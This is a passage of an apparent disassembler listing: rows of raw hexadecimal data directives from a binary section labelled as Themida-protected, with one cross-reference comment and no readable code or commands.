0D1D748BDh, 48F6C0EAh dd 147ED5Fh, 424D362h, 216801F4h, 27B66E64h, 34443F25h dd 4F52D50Dh, 0B100EC48h, 2C7E56F7h, 0E3389Bh, 0BC683A90h dd 0F4642AE9h, 0FBE60134h, 0D56FF4Eh, 62E521FBh, 39B32DA2h dd 0E8982880h, 0E5660225h, 16B6014Dh, 48F89CE9h, 4003C9E0h dd 0D14A253Bh, 9A120EE2h, 0DD1A6651h, 300E4C7Fh, 0F5CDBDBEh dd 0EB2C177Bh, 3A10BFCBh, 109EE5Bh, 0ACC77D50h, 46453312h dd 2AA837F8h, 90C4B96h, 54B1E94Bh, 660C97BBh, 96F1FA8h dd 1F587089h, 4C685D16h, 9F2D8CEBh, 0F6D70760h, 5A052844h dd 589FE803h, 578D2642h, 7DD2A1A6h, 3025A3D3h, 9DDD085Ah dd 0F031AB90h, 2B9C78F4h, 735CD427h, 0B5D0D05Fh, 0BD964869h dd 0FF842504h, 80FB6474h, 2521153Fh, 0F2317C12h, 9123DF3h dd 843FFDD0h, 2DCAF682h, 19F4236Bh, 80FBD7D0h, 0D90F380h dd 2897B281h, 5EEB5AB8h, 9DF48D34h, 2C8A21CBh, 5805A066h dd 11C53445h, 0D79B02ECh, 0BEC2BA4Fh, 0CFD2BB89h, 0F695F0Fh dd 0E1A06B20h, 0CB6E5E4Fh, 0EBA25F55h, 535F15D8h, 0C96FE910h dd 0C165226h, 0FED17C59h, 31A4AE5Eh, 77D74E57h, 0BBEFB251h dd 684130FDh, 0B9074AB3h, 414FCBA1h, 55C3BE22h, 7E895F83h dd 4927D924h, 6F548068h, 2D4A5832h, 0EAD8C222h, 4CD377AFh dd 971475AFh, 0E10993B0h, 0FB14E2E9h, 1DD2529h, 49173A7Fh dd 0C08C8B30h, 773DBF22h, 5E9720DBh, 2B89C77h, 37E93FD5h dd 244153EAh, 45D13055h, 96F90125h, 0C65E30E3h, 6CD3682Ch dd 6002BDBBh, 0E07F3179h, 0B70FF39h, 21E939DAh, 0AF6ED89h dd 7DEF8150h, 65283958h, 0A72AFAD8h, 5A5970CBh, 9E1103D7h dd 0F3CFEF30h, 1E27EA7Fh, 991EC85Fh, 7D503B41h, 3D03097Fh dd 20F7742Bh, 1F36EE0Dh, 0C536BDCh, 0E98522F6h, 8CAF95AEh dd 0BA414964h, 125DF820h, 0EC7E0E1Dh, 0C3C05B2Ah, 0B7514A68h dd 6676269Ah, 0FBE9C743h, 0D30F3BCBh, 0DD1960F8h, 58CC2EF2h dd 76A0B14Eh, 208F4A95h, 482368BCh, 2733E69Dh, 1192DD8Eh dd 797D0F4Ah, 102C9151h, 5D13ADA5h, 53D8D231h, 49095175h dd 0EEF6F885h, 0FCD6DAB2h, 42690275h, 0C24A27A5h, 0E2374855h dd 0C631808Dh, 899DEFB8h, 5A40D46Fh, 167591ABh, 28D4B523h dd 44AFB113h, 1618BD06h, 1EEF7E01h, 0BA20E65Bh, 41DA5A6Eh dd 0D85E462Ch, 0F4C06107h, 9ABCBD96h, 0B8AC01D3h, 3A381A02h dd 1D4C8B55h, 55133AB9h, 3E0203E9h, 40EBED12h, 3E4BECA7h dd 78D05F12h, 835B1D07h, 0DF79C2E8h, 0B95106C0h, 1A3C53BBh dd 5D9F77Eh, 0BAC93F80h, 0ECB8A111h, 0A8F4C100h, 64E99E3Eh dd 27B1BAABh, 45ECEE89h, 0AC6A9421h, 0F70F4272h, 0B15BBD03h dd 0F56031CEh, 35997BEh, 0F5E78F4Fh, 81FB00C2h, 9332BEC3h dd 4A05FA33h, 0B56CE8F4h, 0EF5212BFh, 0B55DE2DCh, 6841095Bh dd 0DA3D0B51h, 59BDCD20h, 98AE05h, 2901E02Dh, 0FD30E9C8h dd 0F921F7C4h, 0BC17A5Fh, 10626806h, 0F15320FEh, 0BD007215h dd 422D491Ah, 9C1A4374h, 1F87DF88h, 272A9425h, 0E90595FBh dd 69D4E5D5h, 0E0EA1284h, 0EA40B11Dh, 4DD500F7h, 2FE7E581h dd 0AAFC3A01h, 2ECFEC59h, 6805F009h, 4C404B22h, 0F95816BBh dd 0DA292533h, 0DF24C4DBh, 0F28F030Bh, 896BA19Bh, 92C5F415h dd 7F785941h, 8A0098D0h, 876AC60Fh, 0E632E9DEh, 515BA2C2h dd 8AC9AD11h, 0BB85FF6Ch, 841357F6h, 5BDAB7C9h, 20C2EBC0h dd 838CD025h, 0A033E912h, 0C0FAFEF4h, 8005E201h, 0DAF60BCAh dd 17DDF2D4h, 0CC6FF0E9h, 0D058FB56h, 2180A5F1h, 4F20D5BFh dd 36FC8197h, 6BFB4854h, 22FAC800h, 2D59CD31h, 1421BF9h dd 11B81C7Fh, 90917462h, 0E7EEE02h, 0AEEEC013h, 23380535h dd 0D1E456E9h, 840105BCh, 780A6875h, 6A143892h, 97A65084h dd 0F703A843h, 136E2EBFh, 39E1D962h, 0FC880675h, 0C127DAB4h dd 55DEF7CEh, 0C300A309h, 6C826B3Ah, 2D8383B7h, 1988A931h dd 0CBAFB23Bh, 51717454h, 2E5BED53h, 3EF183E8h, 0D7BC05CEh dd 6EF074B1h, 800C2E2h, 25027D2Fh, 46955C01h, 4C0C82D9h dd 130684ABh, 0F374685Ah, 6E057852h, 5E223040h, 0A7429BEDh dd 52DC158h, 1F45B65Ch, 17C1BCA8h, 0F55DED45h, 0D6843E87h dd 5B138BBEh, 59540C71h, 0C3D0B22Eh, 3F87DE9h, 5B79C7E5h dd 25DA753Fh, 141B670h, 404A5B30h, 0B22568AAh, 36BE9857h dd 0B1DF653h, 97ACCEB8h, 41D609DDh, 0BD3A0545h, 4283B4A2h dd 7633D205h, 92072001h, 0C2F6BDBCh, 58C3B754h, 0EDF6104Bh dd 1328502Ch, 0E096D345h, 8A37E7C9h, 9D4E7EF4h, 5EB5A64h dd 0AAE0468Fh, 63B10E8Ch, 2C77279Fh, 92A9C9C1h, 89BB5F20h dd 6A6DF014h, 0A5ED9DC0h, 9557D677h, 0CA5FA3C9h, 0BF4EB571h dd 61C85CADh, 2B7BE468h, 0C88024CDh, 6243298Eh, 6A00558h dd 0E349CBE9h, 87FD2896h, 0F93ED70Ch, 10450C73h, 75E96Ch dd 24B871F2h, 0B7E8315Fh, 0C01A939h, 59E502BEh, 0DEF77BD4h dd 27F3E675h, 20FEEEE9h, 714DBA81h, 917B3A80h, 10E6644Dh dd 0BD6C6368h, 20CBA210h, 7EBD41BAh, 205DAF57h, 5F0EB821h dd 29677AAFh, 3EC6DBAh, 2DC954E6h, 89D5D9D9h, 0DEA90F81h dd 0B8DD69F2h, 2572278Ah, 17FC177Dh, 0A03EF0Ch, 81E701D1h dd 1F1C53CFh, 0C6A06069h, 76895712h, 0A7A46E12h, 63A0CEBh dd 92227291h, 0D0DF1A04h, 0F5D0E8E9h, 182BCA81h, 0C6C857Ch dd 1A097E13h, 0F073E96Ah, 0C1801712h, 0BA3FC401h, 3E683602h dd 647CD426h, 0F70FE17Bh, 0FFB2EEBCh, 0BA06AC48h, 8C56A978h dd 0D0175501h, 5E3C11Fh, 0D107068Fh, 82F41393h, 6CDF51EFh dd 88960EA4h, 0CF605BD9h, 62B65259h, 346466DEh, 3457B060h dd 0AE2C0B84h, 0DF03C630h, 931CC88Ch, 0F52D55B8h, 0A8CA051Bh dd 7D028A08h, 78061523h, 5139853h, 6F7A0F35h, 0E9A8C841h dd 87C5452Ah, 88DFC609h, 53EB84F4h, 0BBAF20EBh, 1B60BA1Ch dd 0DB0E1054h, 304C9036h, 194295Dh, 1EC051EEh, 715977F3h dd 0B5CD0581h, 0AA7E3528h, 44EF38C0h, 0C796319h, 21C20331h dd 0EB20D644h, 0E539C5Eh, 0E896B76h, 6E0615E1h, 9F0EE31Fh dd 455CAFA5h, 0CC88ADFAh, 72040775h, 0D2DF214Ah, 8EA2ABBCh dd 490F2DFDh, 9DEE507Ch, 0E912D49Eh, 6BA9BEACh, 69809F27h dd 6972C5BAh, 4381194Bh, 0B9000CA6h, 6D2F4FF4h, 0B7AAF855h dd 68853279h, 4F3780Eh, 1CB5090Eh, 2713AA53h, 0ECE94981h dd 0EA7ED23Eh, 80199E3h, 1380E281h, 0AA825DDEh, 154C43A2h dd 6805105Eh, 2D272CA1h, 26F06727h, 2450EA05h, 1F32823h dd 22616997h, 0E8D22A21h, 0B8CD63D1h, 0BD0A5CFDh, 33682D01h dd 0C6BA3C0Ch, 2F92DE03h, 657C5E66h, 0A97FC28Eh, 21390959h dd 0D1EC8092h, 95DCE4CCh, 0FDE4A170h, 8C1016C9h, 98282424h dd 9F8A73E0h, 0B8E64064h dd 12867E93h, 96D3FEE9h, 1D1F28D4h, 666F13D0h, 0DCC1AC6h dd 56160BF5h, 3652DE6h, 0F8A072A6h, 0E0693355h, 98A60645h dd 421244F0h, 83886577h, 0BCCE4BD4h, 3A0BD37Dh, 52A821B8h dd 612B1CB2h, 2B1598C8h, 8D7FF39Dh, 805E4058h, 5448B169h dd 743C05B6h, 0FC00BB2h, 0B06D412Eh, 0EAB02FCEh, 64EF31D6h dd 21979E2Bh, 5A0B5970h, 0C1480D58h, 0D04C08E8h, 410AED42h dd 20AF61E9h, 76AE13BCh, 0EDC1E441h, 73F5203h, 0F310A766h dd 0B57F8D63h, 0D0321602h, 48D1F74Dh, 0B5FA28FDh, 67976466h dd 3AA7A084h, 0E44EDF2Ah, 0FA40A2CCh, 69F94888h, 30AD1818h dd 560ED2F7h, 564E39BEh, 9D6E681Eh, 2586D5AFh, 504F0666h dd 0E52EEAD9h, 0DEC8EC2h, 720A8B76h, 44F107D9h, 0FE945D83h dd 5B3280F8h, 5828360Ah, 0C5280635h, 9FBEF05h, 79B9728Ch dd 0B92E0841h, 0B4F02A38h, 0D6B48E5Eh, 154EB44Ah, 89FED5Eh dd 31061FCEh, 62FC5FF9h, 0D64F1B6Ah, 2528950Ah, 7E8CEA20h dd 0E8C32557h, 0E6FE3375h, 505402D8h, 74E94575h, 38215BF4h dd 7C89979Ah, 524A0785h, 0CB9BB231h, 6852168Bh, 90290CD4h dd 0D2FC4BA4h, 0FE4829A8h, 254A5244h, 5E8DE15Fh, 86C6D7CEh dd 0DE62349Ch, 20905A5Bh, 0C1BD08BAh, 0A26CB2D9h, 579B6882h dd 0DF81E759h, 4B71843Dh, 12438664h, 0B426C6E9h, 244054D4h dd 136F7BBAh, 93165BFh, 0C0054A8Ch, 6AAD58DDh, 0CB96E005h dd 0D82E0CEDh, 8138E94Fh, 59BD7092h, 0FA5C45F4h, 0E26A5F3Dh dd 0AFE274Dh, 4E1C4CB7h, 8331EBC9h, 0A2226267h, 70D65E89h dd 887B9EB5h, 9F829098h, 15272064h, 0A911D5D9h, 0D4C23F33h dd 0CB45FF5Ch, 789EEB01h, 186879C7h, 0DB80C42Dh, 9205FCB9h dd 0CE31F01Fh, 82C07808h, 0D994EA11h, 0DCD98957h, 0E923CF22h dd 0F3B1DDEh, 6C9CACE8h, 658BA5A6h, 971857A5h, 5B95F3CEh dd 0A1A7BDC7h, 0F7F9E0E2h, 44F78061h, 84DE343Eh, 0EE5B800h dd 97EE305Bh, 52E95505h, 0B450DD40h, 0F5D4F60Eh, 443A76C9h dd 0A8108239h, 86C6A4EBh, 13E81DD4h, 0AF315289h, 0AC10B623h dd 59EB280Fh, 559FC856h, 0BEB14C53h, 0C231B32Ah, 6645D2E9h dd 26459B67h, 5A9D003Bh, 11BB03ADh, 712E5F71h, 0E10BDC29h dd 3FD0C73Ch, 75E7C718h, 541210C6h, 0A945117Fh, 0F8520971h dd 1E1E4CA8h, 0F743944Fh, 0EF79B307h, 6BCB6157h, 13A73825h dd 0F2D73E68h, 454942A0h, 0EDF55E29h, 4BFCC1E2h, 0E9D82E32h dd 3BE698B5h, 1C68013Ch, 91052F08h, 0B04E007Fh, 1AEC4F8h dd 0CD70F241h, 31E212D1h, 6A71B57h, 90680D0Bh, 2CB6663Fh dd 1CEE586Ah, 0B8D816E9h, 1D2CC477h, 0E8A599BAh, 1CBEAACCh dd 32F92B40h, 1C573F21h, 0FFCF4016h, 7CE0CA24h, 142DF480h dd 0E307EFC0h, 881C4E27h, 0F930829Dh, 661EF76Ch, 0D3E8F7BEh dd 604AFDABh, 396853C1h, 0D6430F25h, 0ECA65BE7h, 0AFCB4B3Bh dd 3F801D25h, 0EA80B4B2h, 0E1F6273Ch, 0D128F50Ah, 0D9EC3D5Dh dd 7DC12C80h, 0E5DC909h, 51C3018Ah, 41C2C6B5h, 0E62BEE39h dd 0F2841A03h, 0B1BD0F5h, 736D5A4Dh, 0BBE92368h, 0EB236E65h dd 0AC1747B2h, 9E9AAFF5h, 0B72DFB4Ah, 6D41D12Ah, 0BD800557h dd 113812Dh, 9057267h, 384C6502h, 0E956C147h, 377FD0C1h dd 3C0C92E9h, 2CD26D7Dh, 8A6F09B4h, 747754A6h, 33B54A34h dd 0B441D0BEh, 73760331h, 3DE4F600h, 0F00938FDh, 6C350E5Eh dd 2D85F40Eh, 0ABCD2101h, 555C027Bh, 0E340DEF9h, 0B467223Fh dd 68FB8006h, 7C012A9Dh, 0A5308482h, 16DE530Eh, 0D4C5203Eh dd 4358AA6Ah, 7F3741E1h, 0EADD84h, 26040519h, 3AC42778h dd 7488ADB3h, 0F3F24AB2h, 0A18819E1h, 8031C31Ch, 0FB5A0D97h dd 0B0AFB0C1h, 0D5CB982Ah, 27ABFB4Fh, 76B7128h, 47AC2A55h dd 5C350973h, 40513B5h, 4ACDEED7h, 9A53C5E4h, 6852052Bh dd 81A86D4Fh, 3EE620BFh, 0E54AB5A3h, 0EE912A20h, 80041471h dd 0B7653AA1h, 0EF2EC1FEh, 6902B008h, 0D8F5DEA3h, 0CEF5A0C6h dd 0F8E2558h, 0CF40C750h, 756A0E2Dh, 8CA03EF7h, 21BC133Ch dd 0FA58C12Fh, 0B04690Ch, 0B117F976h, 7FE2D5A4h, 25762503h dd 660CAF20h, 7807C96h, 7D95004Ah, 5F5EF781h, 96C327A4h dd 0FADA9E09h, 0C8D50B31h, 0E6A0E0C7h, 0F725B8EFh, 1904853Dh dd 0AEBBE4C5h, 0A448AF80h, 0AC015A02h, 5C411680h, 6E83B55Eh dd 0B05F6FF8h, 5B9E1DD3h, 1026BC0Dh, 0BA50C8D6h, 9CFB138Eh dd 0B5A3FCDDh, 16EE3912h, 8DD8FB67h, 0E22BF53h, 0B8077CD9h dd 18B13090h, 1DD058F7h, 421A4905h, 3A2C102h, 0FBD23A43h dd 7DE26AF7h, 5B04194Eh, 58270D7Bh, 0F2DBC082h, 652204F0h dd 82DDF71Eh, 766A5C50h, 8956EFF7h, 3CD02FE9h, 0F802FEBFh dd 71B9CB8Ch, 3DB6D631h, 0F589F3C1h, 0E082505Ah, 3507BC98h dd 51AC7540h, 0ECC75889h, 84AB844Bh, 2E4BEAA4h, 7EB89C6Bh dd 94F50508h, 0E7C017E9h, 5F29099Dh, 20DA9C24h, 2D02D5F1h dd 0E05ABCEDh, 425ED401h, 8309865Dh, 0D934F3D1h, 0A16A1A54h dd 73D16430h, 75219B26h, 0D198EA09h, 1507C9BDh, 130C422Dh dd 9308D9D6h, 20BA2806h, 0E7B1A511h, 0D8AD2A13h, 9920DAD0h dd 0B45E5932h, 0F8E575B4h, 0CBA9E0A7h, 3DB12619h, 72F20095h dd 527A1806h, 97485F79h, 0FEE90921h, 0CB9DF658h, 79FB80D7h dd 97260365h, 19755780h, 0E2B70A7Ch, 21D0BFh, 69288FF6h dd 0D3FDE99Eh, 9F29A1C5h, 39C3C9FAh, 3C4526DDh, 6DB9CFBFh dd 7E666809h, 0D00955E6h, 0FC4E1070h, 5942C91Dh, 4DF9AB40h dd 8102A07Fh, 671711E1h, 0D72E078h, 7C206205h, 934885BCh dd 9A5C6894h, 0BE257B0Ah, 8F5E91D3h, 82A7A23Bh, 0C6E307E9h dd 0CB6EC204h, 0E3F8505Ch, 70276B90h, 394674ECh, 0A4DE4CA7h dd 0CC5558E2h, 0BDB9049Dh, 0A846932Eh, 43A86EB2h, 0C1401D39h dd 9389DCB7h, 9AF601C7h, 49193C0Eh, 57EA206Eh, 7EF76194h dd 54CB04DBh, 8063A14Ch, 0AD1CB5B2h, 58216F2Fh, 23EF043Ch dd 0C03ED354h, 0D0C0D777h, 32E92D09h, 0E030D53Ah, 0D78A1028h dd 45F3B309h, 0D867AA35h, 0D4F9144Bh, 294E1B13h, 1168D0B0h dd 0C9251248h, 0AD560555h, 0E85099BAh, 27CEDAA9h, 422DEBD6h dd 0C3D984BAh, 12A38BBBh, 7845AFAEh, 0A50BEDC1h, 0B75DCBC5h dd 0B9530990h, 0CA2A115h, 28424970h, 808DEF29h, 97895D08h dd 0EA5C1269h, 82A8509h, 0A4A22F87h, 0E2E7D61Bh, 520562CAh dd 30130DB2h, 0A00822E1h, 532D3874h, 940DEB77h, 0D8E97A3Eh dd 8DC1EFD7h, 163FF3E9h, 0BFB475A3h, 36693EB6h, 57CE3A57h dd 0E0A402C5h, 3CC47312h, 3F6A9DEBh, 6158B6A6h, 0BA7C7E12h dd 0DC4B81Ah, 3A1A08h, 385DBAC9h, 9482641h, 6896507Fh dd 689D782h, 0F10915F3h, 0B11877DBh, 5C9DD8DEh, 0E485C9D0h dd 3031EEB9h, 283B5E84h, 429FBF62h, 0E9EC77AEh, 6A4B314Ah dd 57B9C2A1h, 0A714EF69h, 0F29DFA99h, 0AB976430h, 7256EBBFh dd 0C55343EFh, 729A2A62h, 0ED50B2F8h, 0D9F4E908h, 0A88BEFB4h dd 33789C0h, 2C435525h, 0AF00950h, 81B84D4Ah, 0DD4EAFBBh dd 76056012h, 0D12E77Eh, 16B3DE01h, 0B16FE9C2h, 0B091E52h dd 14DDD31h, 699625AEh, 1C3524C4h, 6F204890h, 8D17B35Ch dd 2C59F981h, 4D87A8Eh, 6DC41C9Fh, 3C1DDA73h, 0FD915416h dd 0B32BDC97h, 2E0517F0h, 0C20191A3h, 8DC6AA9h, 0B91E2051h dd 3540BCA8h, 9865A0Ah, 7C25A1BAh, 0B6E984C2h, 57D8AF88h dd 403A41D6h, 26670DC3h dd 58BD285Ah, 9347B79h, 0FB01FFA7h, 0E9384857h, 40A8AAE0h dd 65A29B8h, 0D9F75657h, 8114A6C1h, 27CB78F1h, 0BAA07F74h dd 10E13C03h, 93BF58DFh, 0A14042D9h, 718DCEA3h, 0CD9625E9h dd 73B20C20h, 12623F4h, 0D80ADED0h, 0E91C0A2Dh, 83D0BD57h dd 5E2F4E1Dh, 778FE0FCh, 0D5E9C14Eh, 0F4AC1684h, 9841C84Ch dd 26644360h, 0BBAB353h, 71B00895h, 391278BAh, 9301102Fh dd 22321F2Bh, 2673F838h, 103470B0h, 9D097A49h, 9CC9463h dd 14C80506h, 518F6202h, 1371FEC4h, 9313BF04h, 8569E904h dd 54132CBCh, 4E68BEDDh, 4ADDBC50h, 213B0864h, 9400D113h dd 8F3598F7h, 0E9029D12h, 0FA086C4Ah, 9E7EE10Ah, 0D62B752Dh dd 3DC2D668h, 28242C7Ch, 5A122BD0h, 0F2E24B1Dh, 0B551175Dh dd 48C7EBC4h, 78C1FEB5h, 0F32B44ABh, 4E899FDBh, 0B1CC7EBFh dd 233BAA8h, 4209775Ah, 81D7A6A9h, 1B28B217h, 4101CF30h dd 16A16BAEh, 0B29EC47Eh, 0C015107Dh, 4DE78009h, 69B202F5h dd 2DC55FC9h, 2426DE08h, 0D9F11487h, 0D525B0Bh, 969E1B02h dd 1C223DCh, 80E94CDAh, 82F061B2h, 690356D6h, 1E6D1E5Fh dd 2F1BB8AEh, 87048274h, 16C0254Ah, 2E5D1CC1h, 13630213h dd 0CCCABAB4h, 0C517DB52h, 12C5CC4Bh, 672FA794h, 295B2D87h dd 5720A620h, 0EAB72770h, 2C3C8375h, 553392E2h, 1E20BA6Ch dd 68570585h, 0C5910EF1h, 0EA8C94C6h, 5A19219Bh, 20B2FFACh dd 0C74127C3h, 0F1F60560h, 71650CA7h, 0A75176A7h, 406975F9h dd 0E1BF0D7Fh, 0F452B83Bh, 0D09945AFh, 3BF5CDC4h, 92F8688Dh dd 0BA0ACA42h, 0D1890A0Ah, 45BF1231h, 0D0D3F78Fh, 0E7E3EBBBh dd 244E269h, 13CB3F7h, 97EF6866h, 782359E0h, 0EE8AB9F0h dd 0D0D7A37Fh, 182D966Ah, 4AB3AD6Bh, 6BD7D3AAh, 3918F0B1h dd 20841BFh, 0BF0054E4h, 5DEF0DF4h, 125F6E1Bh, 3640180h dd 60337462h, 533C072Dh, 0C509896Dh, 0CE650258h, 452B5918h dd 477EC54h, 3B030D2Dh, 0FEE22AC2h, 0BD680197h, 447AE442h dd 0F39FBAD1h, 0BE4E90Bh, 0A52CC168h, 62CB93FCh, 0F4BECCD7h dd 8C034A42h, 26281BEh, 76070191h, 47E86282h, 0A2E25807h dd 78D17DF4h, 0FB65D402h, 0C4E07742h, 1298FD2Dh, 0C381AF01h dd 1730603Eh, 771B0C84h, 22E5BBF2h, 0D6020805h, 82C107CDh dd 7F6A47EBh, 0EB0D67C5h, 0DAD774D2h, 4E324698h, 0CD75AF5Ah dd 8792F4AAh, 64AD134h, 77C80280h, 0BC015CEDh, 7AA9157Dh dd 0E14BF943h, 68A634F4h, 773F6431h, 0CC7FBEC4h, 3A43E1CEh dd 9FE7522Eh, 0C7AD306h, 673938EBh, 61DA5D4h, 407B2237h dd 1C8A010Ch, 0C7E9618Fh, 7E55652Bh, 4C4BFF89h, 8CB0D416h dd 8C4A564Dh, 0F4A8A44h, 478F5301h, 0ADB96E20h, 2589E9C6h dd 0AD75569Dh, 18C1BE9Eh, 1CF2841h, 9210A944h, 0FC5F2508h dd 39F56092h, 32C14A8Fh, 0B570C60Fh, 2C788230h, 17552809h dd 218AAE32h, 0AA10C502h, 9542A3E5h, 9525EC55h, 0A0BCDCE5h dd 34B4127Bh, 5507EF28h, 67CEC380h, 0C563F6EDh, 9D0C0D05h dd 0D610DD28h, 626062C1h, 0BB0512BAh, 181C398h, 287C5FEDh dd 6FCDE976h, 9CBD0F00h, 1C433D34h, 0C136E5BFh, 0E9EF01D7h dd 2592386Dh, 5565021h, 0BB4F85C2h, 26D7BCE6h, 9D134E89h dd 4D762FBDh, 0D94E82A9h, 0E43AF005h, 24AE1DBh, 64FFCA1Eh dd 1B60564Fh, 0DA2710F7h, 2DEAD67Fh, 0F5A97CE3h, 0E9D9D02Ch dd 7C4B1C25h, 9732504Bh, 6982FF9Eh, 4459BB51h, 580881B0h dd 8997326Bh, 0DFB4755h, 0C088525Eh, 0F2B0012Bh, 1D0CF56Eh dd 207CF2AFh, 0C2908C1Fh, 5E3FCE3Ah, 96EE4646h, 0C1215A88h dd 2B2C5069h, 296A3630h, 0FB534B8Ch, 0BD0CDB05h, 825527BFh dd 4F17DA6h, 6B03E89Ch, 0CBCF8163h, 0E480D50Ah, 947A5F7h dd 0D78764CDh, 0E013B15Eh, 0AE4EF0A8h, 4FE9C52Ch, 0BF3DC05Dh dd 0C22D02B5h, 58A8050h, 585E3E4Ah, 0AB279D37h, 52C15A56h dd 0CCF44AB6h, 88EA96E1h, 0AD3FC317h, 0B5965551h, 0D17B9BA2h dd 931657A5h, 402FE084h, 829E9ACh, 0ADBACE93h, 12ED0162h dd 103073Bh, 44FCDD70h, 0C78E2C6Fh, 17499F8Ah, 61F6C02Fh dd 0D09F9975h, 6D3C01EEh, 0D631B9CBh, 8B55DEE9h, 0AE45FF3Bh dd 9B62E986h, 5EF530D1h, 0DC7B0758h, 12297340h, 1338022Dh dd 0FD5AEFE7h, 0A530C12Ah, 0B30D06Ah, 1550A830h, 640579Ah dd 58F40E2Dh, 8EA57136h, 0F02384E8h, 524B56C0h, 73F470F8h dd 0E8F9A96h, 6D77500Bh, 40F12F58h, 1203A5BBh, 2B44FF76h dd 466E3A24h, 4F56AE30h, 2B409591h, 114A4E0Eh, 2F4169BBh dd 0FE9789F2h, 0AE2A73DDh, 9561F231h, 0D6B9F113h, 0AB493491h dd 60A64412h, 79571D4Bh, 0EF810B99h, 935A115Dh, 5E5A03D2h dd 26849FB9h, 70970794h, 0C9DF43F7h, 0E3252530h, 128EE504h dd 0F15CEBAh, 0EA69E005h, 5816C192h, 774F76E2h, 496C4CBh dd 91AAC168h, 6E1ED908h, 0F6E2DD5Dh, 0AC234A35h, 94E2B124h dd 0CA450505h, 0DA27915Ah, 0B106A043h, 0FEA5390Bh, 3F3A85A0h dd 0BB5174E7h, 0E28000F6h, 0A9E5310h, 0F62D661Dh, 815A9F09h dd 36E93BF2h, 0DE5E687Ch, 70A3B252h, 31B95FCBh, 56F6FEF7h dd 97E868E4h, 0E000FF4Fh, 0AD83D48h, 8F50935h, 990B365Ah dd 835033C0h, 0A6B786A3h, 565C4D8Ah, 22A52F22h, 7FAFAA30h dd 6EE5204Ch, 1B02820h, 55472533h, 90B2B457h, 0B4D34A1Ah dd 41B5CA04h, 157531B2h, 0E9C23723h, 10A076B7h, 0C4FE93B4h dd 0C34B2EF8h, 0FBA425ABh, 0A614AC29h, 989372A2h, 126136A7h dd 0D1D3F7E7h, 3E6C334h, 0E97586EFh, 3F4F3974h, 825B13A8h dd 2977BE4Eh, 0F2232243h, 41220AA8h, 3E0FBD68h, 62BA7420h dd 0C7C62CE9h, 4D2E427Ah, 0DA010441h, 4BA50C1h, 0D45C0FAh dd 14325C99h, 4004100Bh, 185F442h, 0FE2D9150h, 3E137254h dd 0B28485C1h, 6DE1312Bh, 2067FD4Bh, 82BDE383h, 5DDD297Eh dd 0D9DFB712h, 936B424Bh, 77042909h, 579885C7h, 98EE8129h dd 3D1024B4h, 0E4410D10h, 0B9B06B18h, 12681357h, 0C1A2AC66h dd 52DB3175h, 0BF54F30h, 39A13F76h, 6BB5C080h, 503F617Bh dd 414E89B8h, 65E08007h, 0C1081738h, 0D415106Ch, 0E1C8434Dh dd 27A96A58h, 1DB4FEFDh, 0E31EBCFEh, 512FFCD0h, 0F49CB5D6h dd 48043A3Dh, 9EAB3FBEh, 5112FCEAh, 717439B8h, 0C2EFF15Ah dd 44D97DD8h, 0F8B4E947h, 258D9DEEh, 16365EE4h, 83C5E1E9h dd 8F0B2CFBh, 40F2390Bh, 0DFF30B09h, 1075F85h, 9EF7FCF3h dd 6546F179h, 7F83B01h, 0C721EBF4h, 0BB05A374h, 0DF9C4985h dd 0D3356B85h, 760860F6h, 0AB050092h, 294F9A7Ah, 25AD5CB5h dd 5DFD91FDh, 8870CC31h, 20E4B829h, 0F3908448h, 4FA9D29Dh dd 0A431AE5Ah, 0B23E67E5h, 0B9E3D63Dh, 49CCBC5Eh, 5DBE1CCBh dd 0F73B7C40h, 0FC464ED6h, 0AFA1B5B5h, 0E740DFEBh, 4188EDFDh dd 2A066908h, 6DE6D333h, 0BF135699h, 99E39E67h, 0BA1004A0h dd 0BA9C5F32h, 2D0F0500h, 0EDC1763Ah, 403C666Ch, 1E34B718h dd 4C4CE7A6h, 0ABCA1083h, 0F5DFA14Bh, 3D8C2A91h, 5899B457h dd 669FCF6Ch, 2C4149A8h, 5C9E65Eh, 0FB63A43h, 8C57CA12h dd 0BEE4CFA8h, 54F363D8h, 0FEF5C378h, 27F73BBEh, 1D6BB77Ch dd 834A64A9h, 0B0D7C223h, 0D9EFE513h, 0EFBC8588h, 0AEF360Dh dd 907F721h, 15C18FE9h, 0E796C5Dh, 9D5F70BBh, 0AB64BE42h dd 0DBC5DD65h, 56C3A29Ah, 0B10F923Bh, 97AC2E41h, 4C61FFE4h dd 3E80AE6Eh, 0FD3928B9h dd 0D98504Ch, 7CEC4BECh, 937B802h, 7F313C21h, 0E907A468h dd 0C6B17F27h, 86322038h, 3DCD292Ch, 20498301h, 0AEAD5907h dd 0CB57DDCh, 0E98990BBh, 51BD976Ah, 0CAE4CB7Fh, 9316818h dd 9216F5EBh, 462D0B27h, 10C2121Fh, 60937955h, 0F7058C65h dd 2DFD95Ch, 6CADBC33h, 0AAF1C301h, 4C207DB5h, 56F71F02h dd 0BAAD8295h, 0C55D05E2h, 161BBD2h, 88014498h, 212F61D4h dd 0D528E46Dh, 38E9E0EDh, 0EDC16166h, 0C2912530h, 4F822512h dd 0DDC41F3Eh, 0CA112A01h, 3E6C10Dh, 1834B530h, 1E170A23h dd 1E25A5D7h, 0C0E2D890h, 10632D06h, 0D0A033D3h, 0B428588Dh dd 0D7009C61h, 2D15F51Eh, 0B0D27BF8h, 1D8520EEh, 0FB80295Fh dd 254E79EDh, 0C25F55F5h, 5E08058Ah, 0E84B79A2h, 4D98F4B6h dd 1E8F974Fh, 0F28808E9h db 0A7h, 12h, 7 byte_4F212B db 0B9h ; DATA XREF: Themida_:loc_562C84o dd 3DA6585Ch, 0C86627DCh, 1E19F1DCh, 0CA4F7114h, 0BBBCA9B4h dd 8CBDD812h, 75025C4Bh, 0F787799Bh, 0A9C7A296h, 355BE8A0h dd 78641D7Bh, 22A14E1Ch, 59E91681h, 59B33FA9h, 685B5F80h dd 18971A6Ch, 5014E357h, 74E8BAD2h, 2A4E1706h, 0BD9F017Fh dd 0E4A70769h, 6DFB9BE9h, 615427C1h, 8E905BB7h, 73A48B9h dd 52A13C8Fh, 574AFB3h, 6CAEBB2Eh, 71B8D5h, 453D4BB2h dd 9F95C9E9h, 7B611D49h, 0FCAB2CC4h, 0FD21B9C3h, 0D1018222h dd 6853515Ah, 45A0CF13h, 0F300815Bh, 3C3B7F79h, 4BE9DBF7h dd 6F56F15Eh, 75679DCAh, 0E189ABB7h, 0B001E1F0h, 23B35356h dd 0E042D3F6h, 29D0D5FBh, 9C04624Ah, 82BA8899h, 53800240h dd 57C52ACBh, 14FBEC1h, 0A02F0A5Fh, 1312A5E5h, 5DC13D12h dd 0E27FCCAAh, 219185A1h, 0F5C0E7B8h, 5F5C4B4Ch, 